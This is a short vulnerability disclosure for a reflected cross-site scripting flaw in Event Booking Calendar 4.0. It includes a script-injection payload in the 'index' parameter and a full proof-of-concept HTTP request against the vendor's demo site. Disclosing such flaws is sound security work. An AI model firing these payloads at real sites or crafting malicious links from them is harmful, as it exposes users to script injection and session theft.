Event Booking Calendar version 4.0 suffers from a cross site scripting vulnerability.
## Title: Event Booking Calendar-4.0 XSS-Reflected
## Author: nu11secur1ty
## Date: 09/06/2023
## Vendor: https://www.phpjabbers.com/
## Software: https://www.phpjabbers.com/event-booking-calendar/#sectionDemo
## Reference: https://portswigger.net/web-security/cross-site-scripting/reflected
## Description:
The value of the index request parameter is copied into the value of
an HTML tag attribute which is encapsulated in double quotation marks.
The payload ap5yf"><script>alert(1)</script>n9d5d was submitted in the
index parameter. This input was echoed unmodified in the application's
response.
The attacker can make a specially crafted malicious URL and spread it
into the network, to infect every user of this system who clicks on it
and visit it.
STATUS: HIGH Vulnerability
[+]Testing Payload:
```GET
GET /1693985138_790/index.php?controller=pjFrontPublic&action=pjActionLoadEvents&session_id=&theme=theme7&locale=1&hide=0&index=4786ap5yf%22%3e%3cscript%3ealert(1)%3c%2fscript%3en9d5d&show_header=1&show_icons=1&show_categories=1&category_id=0&month=09&year=2023&view=calendar&period=&page=1
HTTP/1.1
Host: demo.phpjabbers.com
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141
Safari/537.36
Connection: close
Cache-Control: max-age=0
Cookie: _ga=GA1.2.1968270768.1693986414;
_gid=GA1.2.227754763.1693986414; _gat=1;
_fbp=fb.1.1693986413650.1548084853;
_ga_NME5VTTGTT=GS1.2.1693986413.1.0.1693986413.60.0.0
X-Requested-With: XMLHttpRequest
Referer: https://demo.phpjabbers.com/1693985138_790/preview.php?lid=1
Sec-CH-UA: ".Not/A)Brand";v="99", "Google Chrome";v="116", "Chromium";v="116"
Sec-CH-UA-Platform: Windows
Sec-CH-UA-Mobile: ?0
```
## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/phpjabbers/2023/Event-Booking-Calendar-4.0%20)
## Proof and Exploit:
[href](https://www.nu11secur1ty.com/2023/09/event-booking-calendar-40-xss-reflected.html)
## Time spent:
01:25:00